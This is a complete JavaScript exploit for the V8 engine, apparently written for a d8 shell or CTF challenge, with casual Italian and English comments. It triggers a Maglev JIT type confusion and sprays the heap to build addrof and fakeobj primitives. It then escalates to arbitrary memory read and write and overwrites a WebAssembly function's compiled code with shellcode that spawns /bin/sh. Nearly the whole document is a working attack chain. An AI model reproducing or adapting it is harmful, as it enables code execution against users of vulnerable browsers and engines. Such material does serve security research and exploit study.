const buf = new ArrayBuffer(8); const f64 = new Float64Array(buf); const u64 = new BigUint64Array(buf); function itof(x) { u64[0] = BigInt.asUintN(64, x); return f64[0]; } function ftoi(x) { f64[0] = x; return u64[0]; } function hex(x) { return "0x" + x.toString(16); } const MAX_SMI = 0x3fffffff; const WARMUP_ITERS = 1200; const MAX_ATTEMPTS = 2; const SPRAY_ROUNDS = 1500; const SPRAY_COUNT = 50; const PRE_PADS = 0; const POST_PADS = 16; const SPRAY_ARRAY_LEN = 16; const QWORD1_BITS = 0x0000000401022bd5n; const BOOTSTRAP_QWORD0 = 4.2885618090673e-311; const BOOTSTRAP_QWORD1 = itof(QWORD1_BITS); const EMPTY_FIXED_ARRAY = 0x000007e5n; const PACKED_DOUBLE_ARRAY_MAP = 0x0100d0d5n; const FAKE_DOUBLE_ARRAY_LENGTH_SMI = 0x20n; const BACKING_ELEMENTS = (QWORD1_BITS & 0xffffffffn) - 0x10n; const BACKING_PAYLOAD = BACKING_ELEMENTS + 0x7n; const FAKE_DOUBLE_ARRAY_ADDR = BACKING_PAYLOAD + 0x1n; function sleep(ms) { const sab = new SharedArrayBuffer(4); const view = new Int32Array(sab); Atomics.wait(view, 0, 0, ms); } function blah(o, a, b, x) { let y; if (a) { y = x + 1; } else { y = 1; } const t = y | 0; let z; if (b) { z = y; } else { z = 1; } o.x = z; return t; } function make_arr() { const arr = [] for (let i = 0; i < SPRAY_ARRAY_LEN; i++) { const useHeaderQword = (i % 2) === 0 arr.push(useHeaderQword ? BOOTSTRAP_QWORD0 : BOOTSTRAP_QWORD1) } return arr } function spray() { for (let round = 0; round < SPRAY_ROUNDS; round++) { const tmp = [] for (let i = 0; i < SPRAY_COUNT; i++) { tmp.push(make_arr()) } } } const obj = { x: 1 } const warmup = { x: 1 } const backing = [13.371337, 37.1337, 73.7331, 31.3373] const pads = [] for (let i = 0; i < PRE_PADS; i++) { pads.push({ x: 1 }) } for (let i = 0; i < 4; i++) { gc() } // warmup. maglev should optimize it for smi for (let i = 0; i < WARMUP_ITERS; i++) { blah(warmup, true, true, i & 1023); blah(warmup, false, true, i & 1023); blah(warmup, true, false, i & 1023); } sleep(20) function runExploit() { for (let i = 0; i < PRE_PADS; i++) { blah(pads[i], true, true, MAX_SMI) pads[i].x = 1 } blah(obj, true, true, MAX_SMI) for (let i = 0; i < POST_PADS; i++) { let tail = { x: 1 } blah(tail, true, true, MAX_SMI) tail.x = 1 tail = null } gc({ type: "minor" }); spray() // mega spray to fill the heap and get the right allocation // aumento reliablility con i controlli, non dovrebbe crashare const tag = typeof obj.x if (tag !== "object") { print("typeof obj.x =", tag) quit(1) } const fake = obj.x; if (!Array.isArray(fake)) { print("obj not array rip") quit(1) } const fakeLength = fake.length if (fakeLength !== 2) { print("bad fake length =", fakeLength) quit(1) } // primitives!! function addrof(v) { backing[2] = 0 fake[0] = v // cio' che metto qui corrisponde a backing[2] return ftoi(backing[2]) & 0xffffffffn // quindi poi posso leggere l'addr di v } function fakeobj(addr) { // l'esatto contrario backing[2] = itof(addr) // qui metto l'address, e siccome fake[0] interpreta backing[2] come obj return fake[0] // qui ce l'ho come object } const targetA = {marker: 13.37} const targetB = {marker: 42.42} const addrA = addrof(targetA) const addrB = addrof(targetB) const fakeAOk = fakeobj(addrA) === targetA const fakeBOk = fakeobj(addrB) === targetB print("fakelen =", fakeLength) print("addrof(targetA) = 0x" + addrA.toString(16)) print("addrof(targetB) = 0x" + addrB.toString(16)) print("fakeobj(addrof(targetA)) === targetA:", fakeAOk) print("fakeobj(addrof(targetB)) === targetB: ", fakeBOk) if ((addrA !== addrB) && fakeAOk && fakeBOk) { print("godo") // js obj memory layout knowledge required from here lol // fake map e properties/elements for a fake double array const fakeDoubleHeader = (EMPTY_FIXED_ARRAY << 32n) | PACKED_DOUBLE_ARRAY_MAP // fake double array inside the controlled backing array backing[0] = itof(fakeDoubleHeader) backing[1] = itof((FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) | BACKING_ELEMENTS) const arb = fakeobj(FAKE_DOUBLE_ARRAY_ADDR) // now arb is the fake arrray. editing elements offset means arb[0] points anywhere I want function setArbElements(rawAddr) { backing[1] = itof( (FAKE_DOUBLE_ARRAY_LENGTH_SMI << 32n) | ((rawAddr - 0x7n) & 0xffffffffn) ) } function weakRead64(rawAddr) { // ez arbitrary read. corrupt at elements offset and read raw bytes setArbElements(rawAddr) return ftoi(arb[0]) } function weakWrite64(rawAddr, value) { // ez arbitrary write. same thing but write into it setArbElements(rawAddr) arb[0] = itof(value) } // testing const weakSelf = weakRead64(BACKING_PAYLOAD) print("weak self-read =", hex(weakSelf)) if (weakSelf !== fakeDoubleHeader) { print("weak r/w setup failed") quit(1) } const weakVictim = [9.9, 8.8] const weakVictimAddr = addrof(weakVictim) const weakVictimLayout = weakRead64((weakVictimAddr - 0x1n) + 0x8n) const weakVictimElements = weakVictimLayout & 0xffffffffn weakWrite64(weakVictimElements + 0x7n, ftoi(13.37)) print("weak write test =", weakVictim[0]) if (weakVictim[0] !== 13.37) { print("weak write test failed") quit(1) } // strong r/w. even more knowledge required. // concept: create your own array buffer fake and r/w from it const victimBuf = new ArrayBuffer(0x40) const victimView = new DataView(victimBuf) victimView.setBigUint64(0, 0x1122334455667788n, true) victimView.setBigUint64(8, 0x99aabbccddeeff00n, true) const arbBuf = new ArrayBuffer(0x40) const arbView = new DataView(arbBuf) const victimBufAddr = addrof(victimBuf) const arbBufAddr = addrof(arbBuf) function getBackingStoreCandidates(arrayBufferAddr) { const candidates = [] // searching native-looking ahh pointers in the arraybuf function addCandidate(off) { const field = (arrayBufferAddr - 0x1n) + off const value = weakRead64(field) if (value > 0x10000000000n && (value & 0x7n) === 0n) { candidates.push([off, field, value]) } } addCandidate(0x24n) for (let off = 0x10n; off <= 0x38n; off += 0x4n) { if (off !== 0x24n) { addCandidate(off) } } return candidates } const victimBackingCandidates = getBackingStoreCandidates(victimBufAddr) if (victimBackingCandidates.length === 0) { print("ArrayBuffer backing_store not found") quit(1) } let strongBackingStoreField = 0n let strongVictimBackingStore = 0n // strong r/w by pointing arbBuf's backing store at the target address like before function strongRead64(addr) { weakWrite64(strongBackingStoreField, addr) return arbView.getBigUint64(0, true) } function strongWrite64(addr, value) { weakWrite64(strongBackingStoreField, addr) arbView.setBigUint64(0, value, true) } for (let i = 0; i < victimBackingCandidates.length; i++) { const candidate = victimBackingCandidates[i] strongBackingStoreField = (arbBufAddr - 0x1n) + candidate[0] strongVictimBackingStore = candidate[2] if (strongRead64(strongVictimBackingStore) !== 0x1122334455667788n) { continue } strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n) if (victimView.getBigUint64(8, true) === 0x4142434445464748n) { break } victimView.setBigUint64(8, 0x99aabbccddeeff00n, true) strongBackingStoreField = 0n strongVictimBackingStore = 0n } if (strongBackingStoreField === 0n) { print("strong r/w setup failed") quit(1) } const strongReadTest = strongRead64(strongVictimBackingStore) print("strong read test =", hex(strongReadTest)) if (strongReadTest !== 0x1122334455667788n) { print("strong read test failed") quit(1) } strongWrite64(strongVictimBackingStore + 0x8n, 0x4142434445464748n) const strongWriteTest = victimView.getBigUint64(8, true) print("strong write test =", hex(strongWriteTest)) if (strongWriteTest !== 0x4142434445464748n) { print("strong write test failed") quit(1) } print("strong r/w ok") const wasmCode = new Uint8Array([ 0, 97, 115, 109, 1, 0, 0, 0, 1, 5, 1, 96, 0, 1, 127, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 6, 1, 4, 0, 65, 42, 11 ]) const wasmModule = new WebAssembly.Module(wasmCode) const wasmInstance = new WebAssembly.Instance(wasmModule) const wasmMain = wasmInstance.exports.main print("wasm before =", wasmMain()) const wasmInstanceAddr = addrof(wasmInstance) const trustedDataTagged = weakRead64((wasmInstanceAddr - 0x1n) + 0x8n) >> 32n const jumpTableStart = weakRead64((trustedDataTagged - 0x1n) + 0x28n) print("wasm trusted_data =", hex(trustedDataTagged)) print("wasm jump_table_start =", hex(jumpTableStart)) const jumpStub = strongRead64(jumpTableStart) const jumpRel = (jumpStub >> 8n) & 0xffffffffn const wasmCodeEntry = jumpTableStart + 0x5n + jumpRel print("wasm code entry =", hex(wasmCodeEntry)) strongWrite64(wasmCodeEntry + 0x00n, 0xbb48c03148d23148n) strongWrite64(wasmCodeEntry + 0x08n, 0x0068732f6e69622fn) strongWrite64(wasmCodeEntry + 0x10n, 0x89485750e7894853n) strongWrite64(wasmCodeEntry + 0x18n, 0x909090050f3bb0e6n) print("spawning /bin/sh") wasmMain() return true } print("rip :(") quit(1) } runExploit()